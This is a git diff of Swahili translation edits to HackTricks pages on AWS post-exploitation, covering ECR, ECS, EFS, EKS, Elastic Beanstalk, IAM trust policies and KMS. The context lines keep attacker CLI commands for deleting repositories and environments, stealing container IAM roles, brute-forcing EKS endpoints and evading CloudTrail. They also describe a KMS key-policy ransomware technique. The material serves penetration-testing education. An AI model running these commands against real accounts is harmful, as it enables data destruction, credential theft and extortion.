hayawezekani. +**Athari** za kudhibitisha trafiki ya VPC kwa njia mbaya zinaweza kuwa kubwa, kwani inawawezesha washambuliaji kupata **habari nyeti** zinazotumwa ndani ya VPCs. **Uwezekano** wa kudhibitisha mbaya kama hii ni mkubwa, ukizingatia uwepo wa **trafiki ya maandiko wazi** inayopita kupitia VPCs. Makampuni mengi hutumia protokali za maandiko wazi ndani ya mitandao yao ya ndani kwa **sababu za utendaji**, wakidhani kwamba mashambulizi ya jadi ya mtu katikati hayawezekani. -Kwa maelezo zaidi na ufikiaji wa [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), inaweza kupatikana kwenye **GitHub repository** yetu. Skripti hii inaweka kiotomatiki na kuharakisha mchakato, ikifanya iwe **haraka, rahisi, na inayoweza kurudiwa** kwa madhumuni ya utafiti wa mashambulizi. +Kwa maelezo zaidi na ufikiaji wa [**malmirror script**](https://github.com/RhinoSecurityLabs/Cloud-Security-Research/tree/master/AWS/malmirror), inaweza kupatikana kwenye **GitHub repository** yetu. Skripti hii inafanya mchakato kuwa wa kiotomatiki na rahisi, ikifanya iwe **haraka, rahisi, na inayoweza kurudiwa** kwa madhumuni ya utafiti wa mashambulizi. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md index 03b9abcba..c369f702f 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecr-post-exploitation.md @@ -46,7 +46,7 @@ aws ecr get-download-url-for-layer \ --registry-id 653711331788 \ --layer-digest "sha256:edfaad38ac10904ee76c81e343abf88f22e6cfc7413ab5a8e4aeffc6a7d9087a" ``` -Baada ya kupakua picha, unapaswa **kuzikagua kwa habari nyeti**: +Baada ya kupakua picha, unapaswa **kuziangalia kwa taarifa nyeti**: {{#ref}} https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-methodology/docker-forensics @@ -54,7 +54,7 @@ https://book.hacktricks.xyz/generic-methodologies-and-resources/basic-forensic-m ### `ecr:PutLifecyclePolicy` | `ecr:DeleteRepository` | `ecr-public:DeleteRepository` | `ecr:BatchDeleteImage` | `ecr-public:BatchDeleteImage` -Mshambuliaji mwenye ruhusa yoyote kati ya hizi anaweza **kuunda au kubadilisha sera ya mzunguko ili kufuta picha zote katika hifadhi** na kisha **kufuta hifadhi nzima ya ECR**. Hii itasababisha kupoteza picha zote za kontena zilizohifadhiwa katika hifadhi. +Mshambuliaji mwenye mojawapo ya ruhusa hizi anaweza **kuunda au kubadilisha sera ya mzunguko ili kufuta picha zote katika hifadhi** na kisha **kufuta hifadhi nzima ya ECR**. Hii itasababisha kupoteza picha zote za kontena zilizohifadhiwa katika hifadhi. ```bash bashCopy code# Create a JSON file with the malicious lifecycle policy echo '{ diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md index 236aa5e6e..3a2a1a8d8 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ecs-post-exploitation.md @@ -13,32 +13,32 @@ Kwa maelezo zaidi angalia: ### Host IAM Roles Katika ECS, **IAM role inaweza kupewa kazi** inayokimbia ndani ya kontena. **Ikiwa** kazi inakimbia ndani ya **EC2** instance, **EC2 instance** itakuwa na **IAM** role nyingine iliyounganishwa nayo.\ -Hii inamaanisha kwamba ikiwa utaweza **kudhoofisha** instance ya ECS unaweza kupata **IAM role inayohusiana na ECR na EC2 instance**. Kwa maelezo zaidi kuhusu jinsi ya kupata akreditivu hizo angalia: +Hii inamaanisha kwamba ikiwa utaweza **kudukua** instance ya ECS unaweza kupata **IAM role inayohusiana na ECR na EC2 instance**. Kwa maelezo zaidi kuhusu jinsi ya kupata akreditivu hizo angalia: {{#ref}} https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf {{#endref}} > [!CAUTION] -> Kumbuka kwamba ikiwa EC2 instance inatekeleza IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **kipimo cha hop cha 1**, na kufanya iwe vigumu kufikia metadata ya EC2 kutoka kwa kontena ndani ya EC2 instance. +> Kumbuka kwamba ikiwa EC2 instance inatekeleza IMDSv2, [**kulingana na nyaraka**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), **jibu la ombi la PUT** litakuwa na **hop limit ya 1**, na kufanya iwe vigumu kufikia metadata ya EC2 kutoka kwa kontena ndani ya EC2 instance. ### Privesc to node to steal other containers creds & secrets -Lakini zaidi ya hayo, EC2 inatumia docker kuendesha kazi za EC, hivyo ikiwa unaweza kutoroka hadi node au **kupata ufikiaji wa docker socket**, unaweza **kuangalia** ni **kontena gani nyingine** zinazoendesha, na hata **kuingia ndani yao** na **kuchukua IAM roles** zao zilizounganishwa. +Lakini zaidi ya hayo, EC2 inatumia docker kuendesha kazi za EC, hivyo ikiwa unaweza kutoroka hadi node au **kupata ufikiaji wa docker socket**, unaweza **kuangalia** ni **kontena gani nyingine** zinazoendesha, na hata **kuingia ndani yao** na **kudukua IAM roles** zao zilizounganishwa. #### Making containers run in current host -Zaidi ya hayo, **EC2 instance role** kwa kawaida itakuwa na **idhini** za kutosha **kupdate hali ya instance ya kontena** za EC2 zinazotumika kama nodes ndani ya klasta. Mshambuliaji anaweza kubadilisha **hali ya instance kuwa DRAINING**, kisha ECS it **aondoe kazi zote kutoka kwake** na zile zinazokimbia kama **REPLICA** zita **kimbia katika instance tofauti,** labda ndani ya **instance ya mshambuliaji** ili aweze **kuchukua IAM roles** zao na taarifa nyeti zinazoweza kuwa ndani ya kontena. +Zaidi ya hayo, **EC2 instance role** kwa kawaida itakuwa na **idhini** ya kutosha **kupdate hali ya instance ya kontena** za EC2 zinazotumika kama nodes ndani ya klasta. Mshambuliaji anaweza kubadilisha **hali ya instance kuwa DRAINING**, kisha ECS it **ondoe kazi zote kutoka kwake** na zile zinazokimbia kama **REPLICA** zita **kimbia katika instance tofauti,** labda ndani ya **instance ya mshambuliaji** ili aweze **kudukua IAM roles** zao na taarifa nyeti zinazoweza kuwa ndani ya kontena. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` -Ile ile mbinu inaweza kufanywa kwa **kuondoa EC2 instance kutoka kwa klasta**. Hii inawezekana kuwa na ufanisi mdogo lakini it **lazimisha kazi kufanywa katika instances nyingine:** +Teknolojia hiyo hiyo inaweza kufanywa kwa **kuondoa EC2 instance kutoka kwa klasta**. Hii inaweza kuwa na ufanisi mdogo lakini it **lazimisha kazi kufanywa katika instances nyingine:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force ``` -Njia ya mwisho ya kulazimisha utekelezaji wa kazi tena ni kwa kuashiria ECS kwamba **kazi au kontena ilisimamishwa**. Kuna API 3 zinazoweza kutumika kufanya hivi: +Njia ya mwisho ya kulazimisha upya utekelezaji wa kazi ni kwa kuashiria ECS kwamba **kazi au kontena ilisimamishwa**. Kuna API 3 zinazoweza kutumika kufanya hivi: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ @@ -52,6 +52,6 @@ aws ecs submit-attachment-state-changes ... ``` ### Pora taarifa nyeti kutoka kwa kontena za ECR -Kesi ya EC2 huenda pia ikawa na ruhusa `ecr:GetAuthorizationToken` inayoruhusu **kupakua picha** (unaweza kutafuta taarifa nyeti ndani yao). +Kipande cha EC2 kinaweza pia kuwa na ruhusa `ecr:GetAuthorizationToken` inayoruhusu **kupakua picha** (unaweza kutafuta taarifa nyeti ndani yao). {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md index bd5c37851..f6de37917 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-efs-post-exploitation.md @@ -16,7 +16,7 @@ Mshambuliaji anaweza kufuta lengo la kuunganisha, ambayo inaweza kuathiri upatik ```sql aws efs delete-mount-target --mount-target-id ``` -**Madhara Yanayoweza Kutokea**: Kuathiriwa kwa ufikiaji wa mfumo wa faili na kupoteza data kwa watumiaji au programu. +**Madhara Yanayoweza Kutokea**: Kuingiliwa kwa ufikiaji wa mfumo wa faili na kupoteza data kwa watumiaji au programu. ### `elasticfilesystem:DeleteFileSystem` @@ -32,7 +32,7 @@ Mshambuliaji anaweza kuboresha mali za mfumo wa faili wa EFS, kama vile njia ya ```sql aws efs update-file-system --file-system-id --provisioned-throughput-in-mibps ``` -**Madhara Yanayoweza Kutokea**: Kupungua kwa utendaji wa mfumo wa faili au matumizi ya rasilimali kupita kiasi. +**Madhara Yanayoweza Kutokea**: Kupungua kwa utendaji wa mfumo wa faili au ukosefu wa rasilimali. ### `elasticfilesystem:CreateAccessPoint` na `elasticfilesystem:DeleteAccessPoint` @@ -41,6 +41,6 @@ Mshambuliaji anaweza kuunda au kufuta maeneo ya ufikiaji, kubadilisha udhibiti w aws efs create-access-point --file-system-id --posix-user --root-directory aws efs delete-access-point --access-point-id ``` -**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mfumo wa faili, kufichuliwa au mabadiliko ya data. +**Madhara Yanayoweza Kutokea**: Ufikiaji usioidhinishwa wa mfumo wa faili, kufichuliwa au mabadiliko ya data. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md index afb262e12..6f778636c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md @@ -12,7 +12,7 @@ Kwa maelezo zaidi angalia ### Tambua klasta kutoka kwa AWS Console -Ikiwa una ruhusa **`eks:AccessKubernetesApi`** unaweza **kuona vitu vya Kubernetes** kupitia AWS EKS console ([Jifunze zaidi](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). +Ikiwa una ruhusa **`eks:AccessKubernetesApi`** unaweza **kuona vitu vya Kubernetes** kupitia AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)). ### Unganisha na AWS Kubernetes Cluster @@ -21,7 +21,7 @@ Ikiwa una ruhusa **`eks:AccessKubernetesApi`** unaweza **kuona vitu vya Kubernet # Generate kubeconfig aws eks update-kubeconfig --name aws-eks-dev ``` -- Si rahisi sana: +- Si njia rahisi: Ikiwa unaweza **kupata token** kwa **`aws eks get-token --name `** lakini huna ruhusa ya kupata taarifa za klasta (describeCluster), unaweza **kuandaa `~/.kube/config` yako mwenyewe**. Hata hivyo, ukiwa na token, bado unahitaji **url endpoint ya kuungana** (ikiwa umeweza kupata token ya JWT kutoka kwa pod soma [hapa](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) na **jina la klasta**. @@ -72,33 +72,33 @@ provideClusterInfo: false ### Kutoka AWS hadi Kubernetes -Mwandishi wa **EKS cluster** daima atakuwa na uwezo wa kuingia kwenye sehemu ya kundi la kubernetes **`system:masters`** (k8s admin). Wakati wa kuandika hii, hakuna **njia ya moja kwa moja** ya kubaini **nani aliumba** kundi hilo (unaweza kuangalia CloudTrail). Na hakuna **njia** ya **kuondoa** hiyo **haki**. +Mwandishi wa **EKS cluster** daima atakuwa na uwezo wa kuingia kwenye sehemu ya kundi la **`system:masters`** (k8s admin). Wakati wa kuandika hii, hakuna **njia ya moja kwa moja** ya kubaini **nani aliumba** kundi hilo (unaweza kuangalia CloudTrail). Na hakuna **njia** ya **kuondoa** hiyo **haki**. Njia ya kutoa **ufikiaji kwa K8s kwa watumiaji au majukumu mengine ya AWS IAM** ni kutumia **configmap** **`aws-auth`**. > [!WARNING] -> Hivyo, mtu yeyote mwenye **ufikiaji wa kuandika** kwenye ramani ya config **`aws-auth`** ataweza **kuathiri kundi zima**. +> Hivyo, mtu yeyote mwenye **ufikiaji wa kuandika** kwenye ramani ya config **`aws-auth`** ataweza **kuharibu kundi zima**. -Kwa maelezo zaidi kuhusu jinsi ya **kutoa haki za ziada kwa majukumu na watumiaji wa IAM** katika **akaunti sawa au tofauti** na jinsi ya **kuitumia** hii [**privesc angalia ukurasa huu**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). +Kwa maelezo zaidi kuhusu jinsi ya **kutoa haki za ziada kwa majukumu na watumiaji wa IAM** katika **akaunti sawa au tofauti** na jinsi ya **kudhulumu** hii [**privesc angalia ukurasa huu**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps). -Angalia pia [**hii nzuri**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post ili kujifunza jinsi uthibitishaji IAM -> Kubernetes unavyofanya kazi**. +Angalia pia [**hii nzuri**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post ili kujifunza jinsi uthibitisho wa IAM -> Kubernetes unavyofanya kazi**. ### Kutoka Kubernetes hadi AWS -Inawezekana kuruhusu **uthibitishaji wa OpenID kwa akaunti ya huduma ya kubernetes** ili kuwapa uwezo wa kuchukua majukumu katika AWS. Jifunze jinsi [**hii inavyofanya kazi kwenye ukurasa huu**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). +Inawezekana kuruhusu **uthibitisho wa OpenID kwa akaunti ya huduma ya kubernetes** ili kuwawezesha kuchukua majukumu katika AWS. Jifunze jinsi [**hii inavyofanya kazi katika ukurasa huu**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1). ### PATA Api Server Endpoint kutoka kwa JWT Token -Kufungua token ya JWT tunapata kitambulisho cha kundi & pia eneo. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Kujua kwamba muundo wa kawaida wa URL ya EKS ni +Kwa kufungua token ya JWT tunapata kitambulisho cha kundi & pia eneo. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Kujua kwamba muundo wa kawaida wa URL ya EKS ni ```bash https://...eks.amazonaws.com ``` -Haukuweza kupata hati yoyote inayofafanua vigezo vya 'herufi mbili' na 'nambari'. Lakini nikifanya majaribio kwa niaba yangu naona zinajirudia hizi: +Sijapata hati yoyote inayofafanua vigezo vya 'herufi mbili' na 'nambari'. Lakini nikifanya majaribio kwa niaba yangu, naona hizi zikijirudia: - gr7 - yl4 -Hata hivyo ni herufi 3 tu tunaweza kuzishambulia kwa nguvu. Tumia skripti iliyo hapa chini kwa ajili ya kuunda orodha +Hata hivyo, ni herufi 3 tu tunaweza kuzivunja. Tumia script iliyo hapa chini kutengeneza orodha. ```python from itertools import product from string import ascii_lowercase @@ -123,20 +123,20 @@ wfuzz -Z -z file,out.txt --hw 0 https://.FUZZ..eks.amazonaws ### Kupita CloudTrail -Ikiwa mshambuliaji anapata akreditivu za AWS zenye **idhini juu ya EKS**. Ikiwa mshambuliaji anapanga **`kubeconfig`** yake mwenyewe (bila kuita **`update-kubeconfig`**) kama ilivyoelezwa hapo awali, **`get-token`** haitengenezi kumbukumbu katika Cloudtrail kwa sababu haiingiliani na API ya AWS (inaunda tu token hiyo kwa ndani). +Ikiwa mshambuliaji anapata akreditivu za AWS zenye **ruhusa juu ya EKS**. Ikiwa mshambuliaji anapanga **`kubeconfig`** yake mwenyewe (bila kuita **`update-kubeconfig`**) kama ilivyoelezwa hapo awali, **`get-token`** haitengenezi kumbukumbu katika Cloudtrail kwa sababu haiingiliani na API ya AWS (inaunda tu token hiyo kwa ndani). Hivyo, wakati mshambuliaji anazungumza na klasta ya EKS, **cloudtrail haitarekodi chochote kinachohusiana na mtumiaji aliyeibiwa na kuingia**. -Kumbuka kwamba **klasta ya EKS inaweza kuwa na kumbukumbu zilizowezeshwa** ambazo zitaandika ufikiaji huu (ingawa, kwa kawaida, zimezimwa). +Kumbuka kwamba **klasta ya EKS inaweza kuwa na kumbukumbu zilizoanzishwa** ambazo zitaandika ufikiaji huu (ingawa, kwa kawaida, zimezimwa). ### EKS Ransom? -Kwa kawaida, **mtumiaji au jukumu lililounda** klasta lina **DAIMA kuwa na mamlaka ya usimamizi** juu ya klasta hiyo. Na kwamba ufikiaji pekee "salama" AWS itakuwa nao juu ya klasta ya Kubernetes. +Kwa kawaida **mtumiaji au jukumu lililounda** klasta lina **DAIMA kuwa na ruhusa za usimamizi** juu ya klasta hiyo. Na kwamba ufikiaji pekee "salama" ambao AWS itakuwa nao juu ya klasta ya Kubernetes. -Hivyo, ikiwa **mshambuliaji anaharibu klasta kwa kutumia fargate** na **kuondoa wasimamizi wengine wote** na **kufuta mtumiaji/jukumu la AWS lililounda** Klasta, ~~mshambuliaji anaweza kuwa **amefanya nyara klasta**~~**r**. +Hivyo, ikiwa **mshambuliaji anaharibu klasta kwa kutumia fargate** na **kuondoa wasimamizi wengine wote** na **kufuta mtumiaji/jukumu la AWS lililounda** Klasta, ~~mshambuliaji anaweza kuwa **amechukua nyara klasta**~~**r**. > [!TIP] -> Kumbuka kwamba ikiwa klasta ilikuwa ikitumia **EC2 VMs**, inaweza kuwa inawezekana kupata mamlaka ya Usimamizi kutoka kwa **Node** na kurejesha klasta. +> Kumbuka kwamba ikiwa klasta ilikuwa inatumia **EC2 VMs**, inaweza kuwa inawezekana kupata ruhusa za Usimamizi kutoka kwa **Node** na kurejesha klasta. > > Kwa kweli, ikiwa klasta inatumia Fargate unaweza EC2 nodes au kuhamasisha kila kitu kwenda EC2 kwenye klasta na kuirejesha kwa kufikia token katika node. diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md index 6fc3a2b7e..b749b8604 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md @@ -26,22 +26,22 @@ aws elasticbeanstalk delete-application-version --application-name my-app --vers > [!NOTE] > TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili -Mshambuliaji mwenye ruhusa `elasticbeanstalk:TerminateEnvironment` anaweza **kuondoa mazingira ya Elastic Beanstalk yaliyopo**, na kusababisha muda wa kukosekana kwa programu na kupoteza kwa data ikiwa mazingira hayajawekwa kwa ajili ya nakala za akiba. +Mshambuliaji mwenye ruhusa `elasticbeanstalk:TerminateEnvironment` anaweza **kuondoa mazingira ya Elastic Beanstalk yaliyopo**, na kusababisha muda wa kukosekana kwa programu na kupoteza data ikiwa mazingira hayajapangwa kwa ajili ya nakala za akiba. ```bash aws elasticbeanstalk terminate-environment --environment-name my-existing-env ``` -**Madhara Yanayoweza Kutokea**: Wakati wa kusimama kwa programu, kupoteza data, na usumbufu wa huduma. +**Madhara Yanayoweza Kutokea**: Wakati wa kusimama kwa programu, kupoteza data, na kuvurugika kwa huduma. ### `elasticbeanstalk:DeleteApplication` > [!NOTE] > TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili -Mshambuliaji mwenye ruhusa `elasticbeanstalk:DeleteApplication` anaweza **kufuta programu nzima ya Elastic Beanstalk**, ikiwa ni pamoja na toleo zake zote na mazingira. Kitendo hiki kinaweza kusababisha kupoteza kwa kiasi kikubwa cha rasilimali na mipangilio ya programu ikiwa hakijahifadhiwa. +Mshambuliaji mwenye ruhusa `elasticbeanstalk:DeleteApplication` anaweza **kufuta programu nzima ya Elastic Beanstalk**, ikiwa ni pamoja na toleo zake zote na mazingira. Kitendo hiki kinaweza kusababisha kupoteza kwa kiasi kikubwa rasilimali na mipangilio ya programu ikiwa hakijahifadhiwa. ```bash aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force ``` -**Madhara Yanayoweza Kutokea**: Kupoteza rasilimali za programu, mipangilio, mazingira, na toleo za programu, na kusababisha usumbufu wa huduma na kupoteza data inayoweza kutokea. +**Madhara Yanayoweza Kutokea**: Kupoteza rasilimali za programu, mipangilio, mazingira, na matoleo ya programu, ambayo inaweza kusababisha usumbufu wa huduma na kupoteza data. ### `elasticbeanstalk:SwapEnvironmentCNAMEs` @@ -52,12 +52,12 @@ Mshambuliaji mwenye ruhusa ya `elasticbeanstalk:SwapEnvironmentCNAMEs` anaweza * ```bash aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2 ``` -**Madhara Yanayoweza Kutokea**: Kutumikia toleo sahihi la programu kwa watumiaji au kusababisha tabia isiyokusudiwa katika programu kutokana na mazingira yaliyobadilishwa. +**Athari Inayoweza Kutokea**: Kutumikia toleo sahihi la programu kwa watumiaji au kusababisha tabia isiyokusudiwa katika programu kutokana na mazingira yaliyobadilishwa. ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags` > [!NOTE] -> TODO: Jaribu kuona kama ruhusa zaidi zinahitajika kwa hili +> TODO: Jaribu kama ruhusa zaidi zinahitajika kwa hili Mshambuliaji mwenye ruhusa za `elasticbeanstalk:AddTags` na `elasticbeanstalk:RemoveTags` anaweza **kuongeza au kuondoa lebo kwenye rasilimali za Elastic Beanstalk**. Kitendo hiki kinaweza kusababisha mgawanyiko usio sahihi wa rasilimali, bili, au usimamizi wa rasilimali. ```bash diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index 74576a7f1..94f6d1d99 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -14,7 +14,7 @@ Kwa maelezo zaidi kuhusu ufikiaji wa IAM: Ikiwa unaruhusu **akaunti ya nje (A)** kufikia **jukumu** katika akaunti yako, huenda ukawa na **0 uelewa** kuhusu **nani hasa anaweza kufikia akaunti hiyo ya nje**. Hii ni tatizo, kwa sababu ikiwa akaunti nyingine ya nje (B) inaweza kufikia akaunti ya nje (A) inawezekana kwamba **B pia itaweza kufikia akaunti yako**. -Kwa hivyo, unaporuhusu akaunti ya nje kufikia jukumu katika akaunti yako inawezekana kubainisha `ExternalId`. Hii ni "nywila" ya siri ambayo akaunti ya nje (A) **inahitaji kubainisha** ili **kuchukua jukumu katika shirika lako**. Kwa kuwa **akaunti ya nje B haitajui nywila hii**, hata kama ana ufikiaji juu ya A **hataweza kufikia jukumu lako**. +Kwa hiyo, unaporuhusu akaunti ya nje kufikia jukumu katika akaunti yako inawezekana kubainisha `ExternalId`. Hii ni "nywila" ya siri ambayo akaunti ya nje (A) **inahitaji kubainisha** ili **ichukue jukumu katika shirika lako**. Kwa kuwa **akaunti ya nje B haitajui nywila hii**, hata kama ana ufikiaji juu ya A **hataweza kufikia jukumu lako**.
@@ -39,9 +39,9 @@ Mfano: } ``` > [!WARNING] -> Ili mshambuliaji aweze kutumia confused deputy, atahitaji kupata njia ya kujua kama wakuu wa akaunti ya sasa wanaweza kujifanya kama majukumu katika akaunti nyingine. +> Ili mshambuliaji aweze kutumia msaidizi aliyechanganyikiwa, itabidi apate kwa namna fulani ikiwa wakuu wa akaunti ya sasa wanaweza kujifanya kuwa majukumu katika akaunti nyingine. -### Miamala Isiyotarajiwa +### Imani zisizotarajiwa #### Wildcard kama mkuu ```json @@ -51,9 +51,9 @@ Mfano: "Principal": { "AWS": "*" } } ``` -Hii sera **inaruhusu wote AWS** kuchukua jukumu. +Sera hii **inaruhusu AWS zote** kuchukua jukumu. -#### Huduma kama mkuu +#### Huduma kama kiongozi ```json { "Action": "lambda:InvokeFunction", @@ -62,7 +62,7 @@ Hii sera **inaruhusu wote AWS** kuchukua jukumu. "Resource": "arn:aws:lambda:000000000000:function:foo" } ``` -Hii sera **inaruhusu akaunti yoyote** kuunda apigateway yao ili kuita hii Lambda. +Sera hii **inaruhusu akaunti yoyote** kuunda apigateway yao ili kuita Lambda hii. #### S3 kama kiongozi ```json @@ -73,7 +73,7 @@ Hii sera **inaruhusu akaunti yoyote** kuunda apigateway yao ili kuita hii Lambda } } ``` -Ikiwa S3 bucket imetolewa kama kiongozi, kwa sababu S3 buckets haina Nambari ya Akaunti, ikiwa **ulifuta bucket yako na mshambuliaji akaunda** hiyo katika akaunti yao, basi wanaweza kuitumia vibaya hii. +Ikiwa S3 bucket inatolewa kama principal, kwa sababu S3 buckets haina Account ID, ikiwa **ulifuta bucket yako na mshambuliaji akaunda** hiyo katika akaunti yao, basi wanaweza kuitumia vibaya hii. #### Not supported ```json @@ -86,7 +86,7 @@ Ikiwa S3 bucket imetolewa kama kiongozi, kwa sababu S3 buckets haina Nambari ya ``` Njia ya kawaida ya kuepuka matatizo ya Confused Deputy ni matumizi ya hali na `AWS:SourceArn` ili kuangalia ARN ya asili. Hata hivyo, **huduma zingine huenda zisipokee hiyo** (kama CloudTrail kulingana na vyanzo vingine). -## References +## Marejeleo - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 240d30cea..599d80c52 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -12,10 +12,10 @@ Kwa maelezo zaidi angalia: ### Kuandika/Kufungua taarifa -`fileb://` na `file://` ni mipango ya URI inayotumika katika amri za AWS CLI kubaini njia ya faili za ndani: +`fileb://` na `file://` ni mipango ya URI inayotumika katika amri za AWS CLI kuashiria njia ya faili za ndani: - `fileb://:` Inasoma faili kwa njia ya binary, inayotumika kawaida kwa faili zisizo za maandiko. -- `file://:` Inasoma faili kwa njia ya maandiko, kwa kawaida inatumika kwa faili za maandiko safi, skripti, au JSON ambayo haina mahitaji maalum ya uandishi. +- `file://:` Inasoma faili kwa njia ya maandiko, inayotumika kawaida kwa faili za maandiko safi, skripti, au JSON ambayo haina mahitaji maalum ya uandishi. > [!TIP] > Kumbuka kwamba ikiwa unataka kufungua baadhi ya data ndani ya faili, faili lazima iwe na data ya binary, si data iliyowekwa kwa base64. (fileb://) @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- Kutumia **asymmetric** key: +- Kutumia **asymmetric** ufunguo: ```bash # Encrypt data aws kms encrypt \ @@ -60,14 +60,14 @@ aws kms decrypt \ ``` ### KMS Ransomware -Mshambuliaji mwenye ufikiaji wa kipaumbele juu ya KMS anaweza kubadilisha sera ya KMS ya funguo na **kutoa ufikiaji wa akaunti yake juu yao**, akiondoa ufikiaji uliopewa akaunti halali. +Mshambuliaji mwenye ufikiaji wa kipaumbele juu ya KMS anaweza kubadilisha sera ya KMS ya funguo na **kutoa ufikiaji wa akaunti yake juu yao**, akiondoa ufikiaji uliopewa kwa akaunti halali. -Hivyo, watumiaji wa akaunti halali hawawezi kupata taarifa yoyote ya huduma yoyote ambayo imekuwa imefichwa kwa kutumia funguo hizo, na kuunda ransomware rahisi lakini yenye ufanisi juu ya akaunti hiyo. +Hivyo, watumiaji wa akaunti halali hawataweza kufikia taarifa yoyote ya huduma yoyote ambayo imekuwa imefichwa kwa kutumia funguo hizo, na kuunda ransomware rahisi lakini yenye ufanisi juu ya akaunti hiyo. > [!WARNING] -> Kumbuka kwamba **funguo zinazodhibitiwa na AWS hazihusiki** na shambulio hili, ni **funguo zinazodhibitiwa na Mteja** pekee. +> Kumbuka kwamba **funguo zinazodhibitiwa na AWS hazihusiki** na shambulio hili, tu **funguo zinazodhibitiwa na Mteja**. -> Pia kumbuka hitaji la kutumia param **`--bypass-policy-lockout-safety-check`** (ukosefu wa chaguo hili kwenye konsoli ya wavuti unafanya shambulio hili liwezekane tu kutoka CLI). +> Pia kumbuka hitaji la kutumia param **`--bypass-policy-lockout-safety-check`** (ukosefu wa chaguo hili kwenye konsoli ya wavuti unafanya shambulio hili liwezekane tu kutoka kwa CLI). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,7 +92,7 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> Kumbuka kwamba ikiwa unabadilisha sera hiyo na kutoa ufikiaji tu kwa akaunti ya nje, na kisha kutoka kwenye akaunti hii ya nje unajaribu kuweka sera mpya ili **kurudisha ufikiaji kwa akaunti ya awali, huwezi**. +> Kumbuka kwamba ikiwa unabadilisha sera hiyo na kutoa ufikiaji kwa akaunti ya nje tu, na kisha kutoka kwenye akaunti hii ya nje unajaribu kuweka sera mpya ili **kurudisha 